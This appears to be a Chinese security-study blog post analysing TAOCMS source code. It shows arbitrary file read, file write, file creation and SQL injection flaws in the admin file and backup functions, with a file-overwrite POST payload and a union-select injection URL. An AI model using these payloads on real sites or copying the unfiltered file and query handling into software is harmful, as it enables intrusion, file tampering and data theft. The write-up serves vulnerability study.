当前位置: 首页 > news >正文

TAOCMS漏洞代码学习及分析

路由规则

分为前台和后台,

前台在api.php中

<?php  
session_start();  
include('config.php');  
include(SYS_ROOT.INC.'common.php');  
$ctrl=$_REQUEST['ctrl'];  
$action=$_REQUEST['action'];  
$m=ucfirst($action);  
if(!in_array($m,array('Api','Comment')))die;  
$model=new $m();  
if (method_exists($m,$ctrl)) {  
$model->$ctrl();  
}

主要是判断m类参数是否有指定方法以及参数是否正确。

<?php  
session_start();  
include "../config.php";  
include "../include/common.php";  
$action=$_REQUEST['action'];  
$ctrl=$_REQUEST['ctrl'];  
$id=(array)$_REQUEST['id'];  
//请登录  
if(!Base::checkadmin()&&$ctrl!='login'&&$ctrl!='checkUser'){  
Base::showmessage('',"index.php?action=login",1);  
}  
$referInfo=parse_url($_SERVER['HTTP_REFERER']);  
$referHost=isset($referInfo['port'])?"{$referInfo['host']}:{$referInfo['port']}":$referInfo['host'];  
if($referHost !== $_SERVER['HTTP_HOST']&&$ctrl!='login'){  
Base::showmessage('refer error','admin.php?action=frame&ctrl=logout');  
}  
if(Base::catauth($action)){  
if(class_exists($action)){  
$model=new $action($action,$id);  
if (method_exists($action,$ctrl)) {  
$model->$ctrl();  
}  
}  
}  
?>

好像规则差不多,就是加了一个session验证,然后写法不太一样其他就差不多了。

任意文件读取

在file.php中的download函数中,

function download(){  
$info=pathinfo($this->path);  
header('Content-Disposition: attachment; filename="'.$info['basename'].'"');  
echo file_get_contents($this->realpath);  
}

可以看到这个函数没有对获取文件进行任何过滤。

并且在managefile中有对参数的输入
![[Pasted image 20250226225556.png]]
所以可以利用。

任意文件写入

一、直接使用save

同样位于File文件中

function save(){  
$path=$this->path;  
if(!is_writable($this->realpath))Base::showmessage('无保存权限');  
$filedata=get_magic_quotes_gpc()?Base::magic2word($_POST['filedata']):$_POST['filedata'];  
$status=file_put_contents($this->realpath,$filedata);  
if($status){  
Base::showmessage('保存成功','admin.php?action=file&ctrl=lists');  
}  
}

可以看到save函数并没有对文件内容及文件名称进行任何过滤,所以可以进行php文件写入及替换

name=data%2Finstall.lock&filedata=arbitrary+file+writing+test&action=file&ctrl=save&path=../../importantfile.php&Submit=%E4%BF%9D%E5%AD%98

任意文件上传

使用创建文件的create方法,可以进行创建文件,并且没有过滤

function create(){  
if(!$_GET['name']){  
Base::showmessage('请填写文件名/文件夹名');  
}  
$file=$this->realpath.'/'.$_GET['name'];  
if($_GET['isdir']==1){  
mkdir($file);  
$str='目录';  
}else{  
fopen($file,'a');  
$str='文件';  
}  
if(!is_writable($file))Base::showmessage('新建'.$str.'失败');  
$info=pathinfo($this->path.$_GET['name']);  
Base::showmessage('新建'.$str.'成功','admin.php?action=file&ctrl=lists&path='.$info['dirname']);  
}

可以通过
![[Pasted image 20250227195758.png]]

进行调用,create函数,进行文件上传

sql注入

function create(){  
header('Content-type: application/txt');  
header('Content-Disposition: attachment; filename="backup-'.date('Y-m-d').'.sql"');  
$backups='';  
$bulist=explode('|',$_GET['bulist']);  
foreach($bulist as $bus){  
$addsql=($bus=='cms'&&$_GET['from'])?' limit '.$_GET['from'].','.$_GET['to']:'';  
$sql='select *from '.TB.$bus.$addsql;  
$o=$this->db->query($sql);  
while($data=$this->db->fetch_array($o)){  
$colums='';  
$datas='';  
foreach($data as $key=>$v){  
$colums.=$key.',';  
$datas.="'".Base::safeword($v)."',";  
}  
$backups.= 'REPLACE INTO '.TB.$bus.' ('.substr($colums,0,-1).') VALUES('.substr($datas,0,-1).');'."\n";  
}  
}  
echo substr($backups,0,-2);  
}

可以看到这个create中bulist是可以自己上传的,并且直接进行了拼接。

/admin/admin.php?action=datastore&ctrl=create&bulist=admin+where+id=1+union+select+(user()),2,3,4,5,6,7,8

相关文章:

  • 微信开发者工具里面模拟操作返回、录屏、网络速度、截屏等操作
  • 企业级IP代理解决方案:负载均衡与API接口集成实践
  • 【CUDA】Sgemm单精度矩阵乘法(上)
  • 达梦数据库 【-6111: 字符串转换出错】问题处理
  • 【AI大模型】赋能【传统业务】
  • React构建组件
  • 微信小程序学习之轮播图swiper
  • 【unity游戏开发——编辑器扩展】EditorWindow自定义unity窗口拓展
  • 橙子、橘子相关(果实、叶片、疾病等)数据集大合集
  • SQL注入报错“Illegal mix of collations for operation ‘UNION‘”解决办法
  • 材料×工艺×AI:猎板PCB重构汽车电子四层板技术逻辑
  • [滑动窗口]越短越合法(可转化成越长越合法)
  • docker-compose的使用总结
  • Linux下的c/c++开发之操作Redis数据库
  • select、poll、epoll
  • MySQL库级管理:数据库管理与存储引擎剖析
  • kafka connect 大概了解
  • idea挂掉,会导致进程不结束,切换profile环境,导致token认证不通过
  • Linux Bash | Capture Output / Recall
  • Android Studio Meerkat与Gradle构建工具升级实战指南
  • “三个集中”之后:图说浦东新区28次撤乡并镇
  • 透视社会组织创新实践中的花开岭现象:与乡村发展的融合共进
  • 男子入户强奸高龄独居妇女致其死亡,法院:属实,已执行死刑
  • 袁思达已任中国科学院办公厅主任
  • 重庆发布经济犯罪案件接报警电子地图,企业可查询导航属地经侦服务点
  • 足球少年郎7月试锋芒,明日之星冠军杯构建顶级青少年赛事